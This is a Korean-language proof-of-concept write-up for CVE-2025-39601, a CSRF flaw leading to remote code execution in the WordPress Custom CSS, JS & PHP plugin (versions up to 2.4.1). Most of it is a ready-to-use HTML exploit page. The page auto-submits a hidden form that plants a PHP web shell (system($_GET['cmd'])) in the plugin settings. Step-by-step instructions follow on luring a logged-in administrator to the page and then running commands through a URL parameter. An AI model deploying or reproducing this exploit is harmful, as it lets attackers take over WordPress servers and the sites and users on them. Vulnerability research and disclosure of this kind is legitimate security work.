🚨 CVE-2025-39601 - WordPress Custom CSS, JS & PHP 플러그인 <= 2.4.1의 CSRF를 통한 RCE

🧠 설명

WPFactory Custom CSS, JS & PHP 플러그인의 사이트 간 요청 위조(CSRF) 취약점으로 인해 승인되지 않은 POST 요청을 통해 악성 PHP 코드를 주입하여 **원격 코드 실행(RCE)**이 가능합니다.
이는 2.4.1 이하의 모든 버전에 영향을 미칩니다.

CVE ID: CVE-2025-39601
게시일: 2025-04-16
업데이트일: 2025-04-16
심각도: 🔥 9.6 (CRITICAL)
CWE: CWE-352 - 사이트 간 요청 위조
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

🖼️ 시각적 증거

아래는 성공적인 악용 결과를 보여주는 스크린샷으로, URL 매개변수를 통해 원격 코드가 어떻게 실행될 수 있는지 보여줍니다:

Nxploited

💥 개념 증명 (PoC)

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability</title>
</head>
<body onload="document.forms[0].submit()">
    <h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1</h1>
    <p>By : Nxploited | Khaled Alenazi</p>
    <form action="http://192.168.100.74:888/wordpress4/wp-admin/tools.php?page=alg-custom-php" method="POST">
        <input type="hidden" name="alg_custom_css_php_enabled" value="1">
        <input type="hidden" name="alg_custom_css_php_execute" value="plugins_loaded">
        <input type="hidden" name="alg_custom_css_php" value="<?php system($_GET['cmd']); ?>">
        <input type="hidden" name="alg_ccjp_submit" value="php">
        <noscript><input type="submit" value="Submit"></noscript>
    </form>
</body>
</html>

🧪 사용 방법

위 HTML 파일을 외부 서버 또는 로컬 환경에 호스팅합니다.
관리자 사용자가 로그인된 상태에서 브라우저로 해당 HTML 파일에 접속합니다.
이렇게 하면 자동으로 양식이 제출되어 플러그인 설정에 PHP 코드가 주입됩니다.
해당 코드는 plugins_loaded 훅을 통해 모든 페이지 로드 시 자동으로 실행됩니다.
실행 예시:
```
http://target-site.com/?cmd=whoami
```

⚠️ 면책 조항

이 PoC는 교육 목적으로만 제공됩니다.
저자는 이 정보를 부적절하게 사용하여 발생하는 오용이나 손해에 대해 책임을 지지 않습니다.
항상 통제된 환경에서 허가를 받고 테스트하십시오.

작성자: Nxploited | Khaled Alenazi

CVE-2025-39601